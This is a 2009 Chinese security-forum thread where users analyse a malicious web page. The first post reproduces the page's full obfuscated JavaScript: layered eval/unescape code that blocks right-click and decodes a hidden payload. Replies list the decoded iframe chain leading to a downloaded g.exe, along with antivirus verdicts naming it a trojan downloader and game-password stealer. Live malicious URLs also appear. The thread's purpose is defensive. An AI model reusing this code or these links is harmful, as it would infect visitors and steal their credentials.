收藏本站 |切换到宽版 | 更换论坛皮肤
 找回密码  忘记邮箱  QQ快速登录  快速登录  快速注册

卡饭»论坛 › 安全区 › 病毒样本 分享&分析区 › 网络安全（毒网分析） › http://m.efessd.cn/a2/google.htm高手来看看这个代码里 ...
返回列表 发新帖
查看: 3110|回复: 7
收起左侧

[已鉴定] http://m.efessd.cn/a2/google.htm高手来看看这个代码里有病毒吗?

[复制链接]
qq890
发表于 2009-3-17 08:26:30 | 显示全部楼层 |阅读模式
http://m.efessd.cn/a2/google.htm


<hTmL><hEaD><Meta Name=Encoder Content=HTMLSHIP> 
<META HTTP-EQUIV="Expires" CONTENT="-1"><META NAME="robots" CONTENT="noindex"><META HTTP-EQUIV="Pragma" CONTENT="no-cache"><META HTTP-EQUIV="imagetoolbar" CONTENT="no"><noscript><iframe></iframe></noscript><sCrIpT lAnGuAgE="jAvAsCrIpT"><!--
kD18=4418;function tP4(cH56){xP55("%3B%66%6F%72%28%76%61%72%20%65%50%33%34%3D%30%3B%65%50%33%34%3C%31%36%3B%65%50%33%34%2B%2B%29%7B%76%61%72%20%72%65%31%3D%6E%65%77%20%52%65%67%45%78%70%28%62%43%32%36%2E%63%68%61%72%41%74%28%65%50%33%34%29%2C%5B%22%67%22%5D%29%3B%7A%45%34%33%3D%7A%45%34%33%2E%72%65%70%6C%61%63%65%28%72%65%31%2C%22%25%22%2B%66%4D%39%2E%63%68%61%72%41%74%28%65%50%33%34%29%29%3B%76%61%72%20%72%65%32%3D%6E%65%77%20%52%65%67%45%78%70%28%62%43%32%36%2E%63%68%61%72%41%74%28%65%50%33%34%2B%31%36%29%2C%5B%22%67%22%5D%29%3B%7A%45%34%33%3D%7A%45%34%33%2E%72%65%70%6C%61%63%65%28%72%65%32%2C%22%25%75%22%2B%66%4D%39%2E%63%68%61%72%41%74%28%65%50%33%34%29%29%3B%7D%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%7A%45%34%33%29%29%3B")};tP4(0.5857878,eval(unescape("%68%4E%34%35%3D%32%37%35%30%3B%69%66%28%64%6F%63%75%6D%65%6E%74%2E%61%6C%6C%29%7B%66%75%6E%63%74%69%6F%6E%20%5F%64%6D%28%29%7B%72%65%74%75%72%6E%20%66%61%6C%73%65%7D%3B%66%75%6E%63%74%69%6F%6E%20%5F%6D%64%6D%28%29%7B%64%6F%63%75%6D%65%6E%74%2E%6F%6E%63%6F%6E%74%65%78%74%6D%65%6E%75%3D%5F%64%6D%3B%73%65%74%54%69%6D%65%6F%75%74%28%22%5F%6D%64%6D%28%29%22%2C%38%30%30%29%7D%3B%5F%6D%64%6D%28%29%3B%7D%64%6F%63%75%6D%65%6E%74%2E%6F%6E%63%6F%6E%74%65%78%74%6D%65%6E%75%3D%6E%65%77%20%46%75%6E%63%74%69%6F%6E%28%22%72%65%74%75%72%6E%20%66%61%6C%73%65%22%29%3B%66%75%6E%63%74%69%6F%6E%20%5F%6E%64%6D%28%65%29%7B%69%66%28%64%6F%63%75%6D%65%6E%74%2E%6C%61%79%65%72%73%7C%7C%77%69%6E%64%6F%77%2E%73%69%64%65%62%61%72%29%7B%69%66%28%65%2E%77%68%69%63%68%21%3D%31%29%72%65%74%75%72%6E%20%66%61%6C%73%65%3B%7D%7D%3B%69%66%28%64%6F%63%75%6D%65%6E%74%2E%6C%61%79%65%72%73%29%7B%64%6F%63%75%6D%65%6E%74%2E%63%61%70%74%75%72%65%45%76%65%6E%74%73%28%45%76%65%6E%74%2E%4D%4F%55%53%45%44%4F%57%4E%29%3B%64%6F%63%75%6D%65%6E%74%2E%6F%6E%6D%6F%75%73%65%64%6F%77%6E%3D%5F%6E%64%6D%3B%7D%65%6C%73%65%7B%64%6F%63%75%6D%65%6E%74%2E%6F%6E%6D%6F%75%73%65%75%70%3D%5F%6E%64%6D%3B%7D%3B%67%42%35%3D%33%38%39%33%3B%77%59%37%30%3D%37%38%39%34%3B%66%75%6E%63%74%69%6F%6E%20%5F%64%77%73%28%29%7B%77%69%6E%64%6F%77%2E%73%74%61%74%75%73%20%3D%20%22%20%22%3B%73%65%74%54%69%6D%65%6F%75%74%28%22%5F%64%77%73%28%29%22%2C%31%30%30%29%3B%7D%3B%5F%64%77%73%28%29%3B%6D%4A%37%35%3D%37%35%33%3B%73%4D%34%39%3D%31%33%32%32%3B%66%75%6E%63%74%69%6F%6E%20%5F%64%64%73%28%29%7B%69%66%28%64%6F%63%75%6D%65%6E%74%2E%61%6C%6C%29%7B%64%6F%63%75%6D%65%6E%74%2E%6F%6E%73%65%6C%65%63%74%73%74%61%72%74%3D%66%75%6E%63%74%69%6F%6E%20%28%29%7B%72%65%74%75%72%6E%20%66%61%6C%73%65%7D%3B%73%65%74%54%69%6D%65%6F%75%74%28%22%5F%64%64%73%28%29%22%2C%37%30%30%29%7D%7D%3B%5F%64%64%73%28%29%3B%62%55%30%3D%35%38%39%36%3B%71%52%36%35%3D%39%38%39%38%3B%69%66%28%77%69%6E%64%6F%77%2E%6C%6F%63%61%74%69%6F%6E%2E%70%72%6F%74%6F%63%6F%6C%2E%69%6E%64%65%78%4F%66%28%22%66%69%6C%65%22%29%21%3D%2D%31%29%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%3D%22%22%3B%79%48%37%39%3D%39%33%32%35%3B%65%4B%35%32%3D%39%38%39%35%3B%66%75%6E%63%74%69%6F%6E%20%5F%6E%72%28%29%7B%72%65%74%75%72%6E%20%74%72%75%65%7D%6F%6E%65%72%72%6F%72%3D%5F%6E%72%3B%63%58%31%32%3D%31%30%33%37%3B%73%56%37%37%3D%35%30%33%39%3B%66%75%6E%63%74%69%6F%6E%20%5F%64%70%62%28%29%7B%66%6F%72%28%69%3D%30%3B%69%3C%64%6F%63%75%6D%65%6E%74%2E%61%6C%6C%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%69%66%28%64%6F%63%75%6D%65%6E%74%2E%61%6C%6C%5B%69%5D%2E%73%74%79%6C%65%2E%76%69%73%69%62%69%6C%69%74%79%21%3D%22%68%69%64%64%65%6E%22%29%64%6F%63%75%6D%65%6E%74%2E%61%6C%6C%5B%69%5D%2E%73%74%79%6C%65%2E%76%69%73%69%62%69%6C%69%74%79%3D%22%68%69%64%64%65%6E%22%3B%7D%3B%77%69%6E%64%6F%77%2E%6F%6E%62%65%66%6F%72%65%70%72%69%6E%74%3D%5F%64%70%62%3B%6A%46%38%32%3D%37%38%39%37%3B%70%49%35%36%3D%38%34%36%37%3B%65%42%32%34%3D%36%31%37%38%3B%75%5A%38%39%3D%31%38%30%3B%62%4F%33%3D%39%36%30%37%3B%61%48%35%39%3D%37%30%33%39%3B%7A%55%31%39%3D%38%31%38%32%3B%6F%53%38%34%3D%32%31%38%33%3B%6D%4E%36%3D%38%31%37%39%3B%6C%46%36%33%3D%35%36%31%32%3B%61%59%33%31%3D%33%33%32%33%3B%71%56%39%36%3D%37%33%32%34%3B%78%4C%31%30%3D%36%37%35%31%3B%3B%5F%6C%69%63%65%6E%73%65%64%5F%74%6F%5F%3D%22%68%75%79%75%66%65%6E%67%22%3B%78%50%35%35%3D%66%75%6E%63%74%69%6F%6E%28%73%29%7B%65%76%61%6C%28%75%6E%65%73%63%61%70%65%28%73%29%29%7D%3B%62%5A%39%38%3D%37%32%37%30%3B")),0.8271513,xP55("%62%43%32%36%3D%22%48%58%4E%52%6B%6C%54%68%71%4F%4C%78%6A%56%57%53%49%73%72%4B%77%69%51%6D%50%6E%70%4A%74%6F%4D%76%22%3B%66%4D%39%3D%22%30%31%32%33%34%35%36%37%38%39%41%42%43%44%45%46%22"),0.7699921,zE43="N2NBN2NBN2NBN2NBN2NBN2NBN2NBN2HDHARCl3k3l2k9l0l4N0kCk1kEk7l5k1k7k5RDN2TAT1h6T1h3T3h2T9h0h4N2REHDHAh7T9TET4TFh7NETFTET5h2h2TFh2RDT6h5TET3h4T9TFTEN8N9hBh2T5h4h5h2TEN0h4h2h5T5RBhDHDHAT6h5TET3h4T9TFTEN0T9TET9h4N8N9hBT4TFT3h5TDT5TEh4NEh7h2T9h4T5N8N9RBhDHDHAh7T9TET4TFh7NETFTETCTFT1T4N0RDN0T9TET9h4RBHDHAT9T6N8T4TFT3h5TDT5TEh4NET3TFTFTBT9T5NET9TET4T5h8kFT6N8N2h7h5T4T9h8T9T1TFhAT9RDN2N9RDRDNDR1N9HDHAhBHDHAh6T1h2N0TBT2TBh3RDN2TBT2h3h4T7N2RBHDHAh6T1h2N0h3TBh0T1TFh0T1TFRDTET5h7N0k4T1h4T5N8N9RBHDHAh6T1h2N0T5h8h0T9h2T5h3RDTET5h7N0k4T1h4T5N8N9RBHDHAT5h8h0T9h2T5h3NEh3T5h4l4T9TDT5N8T5h8h0T9h2T5h3NET7T5h4l4T9TDT5N8N9NBR2R4NAR6R0NAR6R0NAR1R0R0R0N9RBHDHAT4TFT3h5TDT5TEh4NET3TFTFTBT9T5RDN2h7h5T4T9h8T9T1TFhAT9RDl9T5h3RBh0T1h4T8RDNFRBT5h8h0T9h2T5h3RDN2NBT5h8h0T9h2T5h3NEh4TFk7kDl4l3h4h2T9TET7N8N9RBHDHAT9T6N8TET1h6T9T7T1h4TFh2NEh5h3T5h2k1T7T5TEh4NEh4TFkCTFh7T5h2k3T1h3T5N8N9NET9TET4T5h8kFT6N8N2TDh3T9T5N2N9RER0N9HDHAhBHDHAT4TFT3h5TDT5TEh4NEh7h2T9h4T5N8N7RCTFT2TAT5T3h4N0T3TCT1h3h3T9T4RDN2T3TCh3T9T4RAT4R2R7T3T4T2N2NBN2R6T5NDT1T5R6T4NDR1R1T3T6NDR9R6T2R8NDR4R4R4R5R5R3R5R4R0R0R0R0N2N0T3TFT4T5T2T1h3T5RDN2T8h4h4h0RANFNFT4TFh7TETCTFT1T4NETDT1T3h2TFTDT5T4T9T1NET3TFTDNFh0h5T2NFh3T8TFT3TBh7T1h6T5NFT3T1T2h3NFT6TCT1h3T8NFh3h7T6TCT1h3T8NET3T1T2N3h6T5h2h3T9TFTERDR4NCR0NCR1R9NCR0N2N0h7T9T4h4T8RDN2R0N2N0T8T5T9T7T8h4RDN2R0N2N0T1TCT9T7TERDN2TDT9T4T4TCT5N2REN7N9RBHDHAT4TFT3h5TDT5TEh4NEh7h2T9h4T5N8N7RCh0T1h2T1TDN0TET1TDT5RDN2T1TCTCTFh7l3T3h2T9h0h4k1T3T3T5h3h3N2N0h6T1TCh5T5RDN2h3T1TDT5k4TFTDT1T9TEN2NFREN7N9RBHDHAHDHAT4TFT3h5TDT5TEh4NEh7h2T9h4T5N8N7RCh0T1h2T1TDN0TET1TDT5RDN2TDTFh6T9T5N2N0h6T1TCh5T5RDN2T9T5NEh3h7T6N2NFREN7N9RBHDHAT4TFT3h5TDT5TEh4NEh7h2T9h4T5N8N7RCh0T1h2T1TDN0TET1TDT5RDN2h1h5T1TCT9h4h9N2N0h6T1TCh5T5RDN2T8T9T7T8N2NFREN7N9RBHDHAT4TFT3h5TDT5TEh4NEh7h2T9h4T5N8N7RCh0T1h2T1TDN0TET1TDT5RDN2T2T7T3TFTCTFh2N2N0h6T1TCh5T5RDN2N3T6T6T6T6T6T6N2NFREN7N9RBHDHAT4TFT3h5TDT5TEh4NEh7h2T9h4T5N8N7RCT5TDT2T5T4N0h3h2T3RDN2T9T5NEh3h7T6N2NFREN7N9RBHDHAT4TFT3h5TDT5TEh4NEh7h2T9h4T5N8N7RCNFTFT2TAT5T3h4REN7N9RBHDHAhDHDHAT5TCh3T5HDHAhBHDHAT4TFT3h5TDT5TEh4NEh7h2T9h4T5N8N2RCk5kDk2k5k4N0h3h2T3RDT6T6NEh3h7T6N0h7T9T4h4T8RDR0N0T8T5T9T7T8h4RDR0REN2N9RBHDHAhDHDHAT4TFT3h5TDT5TEh4NEh7h2T9h4T5TCTEN8N2RCT9T6h2T1TDT5N0h3h2T3RDT1TCTCNET8h4TDN0h7T9T4h4T8RDR1R0R0N0T8T5T9T7T8h4RDR0RERClCNFT9T6h2T1TDT5REN2N9RBhDHDHAHDHARCNFl3k3l2k9l0l4REHDHARCNFk2kFk4l9RERCNFk8l4kDkCRE");//--></sCrIpT></hEaD><boDY><noscript><b><font color=red>这个页面需要Javascript支持的浏览
回复

举报

白玉箫
发表于 2009-3-17 09:04:10 | 显示全部楼层
答案：有
Log is generated by FreShow.
[wide]http://m.efessd.cn/a2/google.htm
    [frame]http://m.efessd.cn/a2/all.htm
        [frame]http://m.efessd.cn/a2/1.htm
            [object]http://d2.gov9988.com/02/g.exe
        [frame]http://m.efessd.cn/a2/kn.htm
        [frame]http://m.efessd.cn/a2/kc.htm
        [frame]http://m.efessd.cn/a2/newlz.htm
        [frame]http://m.efessd.cn/a2/s.htm
        [frame]http://m.efessd.cn/a2/office.htm
        [frame]http://m.efessd.cn/a2/bf.htm
        [frame]http://m.efessd.cn/a2/cx.htm
        [frame]http://m.efessd.cn/a2/uu.htm
        [frame]http://m.efessd.cn/a2/2.htm
        [frame]http://m.efessd.cn/a2/3.htm
        [frame]http://m.efessd.cn/a2/4.htm
        [frame]http://m.efessd.cn/a2/0.htm
        [frame]http://m.efessd.cn/a2/5.htm

评分

参与人数 1人气 +1 收起 理由
granthill + 1 感谢解答： ）

查看全部评分

回复

举报

幸福的猪猪
发表于 2009-3-17 11:15:43 | 显示全部楼层

回复 2楼 xiaopeng018 的帖子

Hello,

google.htm - Trojan-Downloader.JS.Agent.dto
New malicious software was found in this file. It's detection will be included in the next update.

g.exe  kaba heur(killav) , to kill !


Hello,


g.exe_ - Trojan-GameThief.Win32.OnLineGames.bkzf

New malicious software was found in this file. It's detection will be included in the next update. Thank you for your help.

[ 本帖最后由 幸福的猪猪 于 2009-3-17 13:41 编辑 ]
回复

举报

Sebastian
发表于 2009-3-17 11:21:42 | 显示全部楼层

回复 2楼 xiaopeng018 的帖子

g.exe
TR/Dropper.Gen
回复

举报

qq890
 楼主| 发表于 2009-3-20 18:22:21 | 显示全部楼层
http://m.ef44ee.cn/a2/google.htm   新地址
回复

举报

qianwenxiang
发表于 2009-3-20 18:29:46 | 显示全部楼层

回复 5楼 qq890 的帖子

关于:hxxp://m.ef44ee.cn/a2/google.htm解密的日志(全体输出 -  24):

Level  0>http://m.ef44ee.cn/a2/google.htm
Level  1>http://m.ef44ee.cn/a2/samedomain
Level  1>http://m.ef44ee.cn/a2/ie.swf  ●
Level  1>http://m.ef44ee.cn/a2/high
Level  1>http://m.ef44ee.cn/a2/#ffffff
Level  1>http://m.ef44ee.cn/a2/ie.swf  ●
Level  1>http://m.ef44ee.cn/a2/ff.swf  ●
Level  1>http://m.ef44ee.cn/a2/all.htm
Level  2>http://m.ef44ee.cn/a2/5.htm
Level  3>http://m.ef44ee.cn/a2/set.js
Level  4>http://d2.csygg.com/02/g.exe  ●
Level  2>http://m.ef44ee.cn/a2/0.htm
Level  2>http://m.ef44ee.cn/a2/4.htm
Level  2>http://m.ef44ee.cn/a2/3.htm
Level  2>http://m.ef44ee.cn/a2/2.htm
Level  2>http://m.ef44ee.cn/a2/uu.htm
Level  2>http://m.ef44ee.cn/a2/cx.htm
Level  2>http://m.ef44ee.cn/a2/bf.htm
Level  2>http://m.ef44ee.cn/a2/office.htm
Level  2>http://m.ef44ee.cn/a2/s.htm
Level  2>http://m.ef44ee.cn/a2/newlz.htm
Level  2>http://m.ef44ee.cn/a2/kc.htm
Level  2>http://m.ef44ee.cn/a2/kdosn.htm
Level  2>http://m.ef44ee.cn/a2/1.htm

日志由 Redoce1.9第17次修正版于 2009-3-20 18:27:57 生成。
回复

举报

cruiyong
发表于 2009-3-20 19:12:59 | 显示全部楼层

看图

看图
1.jpg
回复

举报

qigang
发表于 2009-3-20 20:15:15 | 显示全部楼层
常见挂链啦。
回复

举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 快速注册

本版积分规则

手机版|杀毒软件|软件论坛| 卡饭论坛

Copyright © KaFan  KaFan.cn All Rights Reserved.

Powered by Discuz! X3.4( 沪ICP备2020031077号-2 ) GMT+8, 2024-12-17 12:54 , Processed in 0.132532 second(s), 20 queries .

卡饭网所发布的一切软件、样本、工具、文章等仅限用于学习和研究，不得将上述内容用于商业或者其他非法用途，否则产生的一切后果自负，本站信息来自网络，版权争议问题与本站无关，您必须在下载后的24小时之内从您的电脑中彻底删除上述信息，如有问题请通过邮件与我们联系。

快速回复 客服 返回顶部 返回列表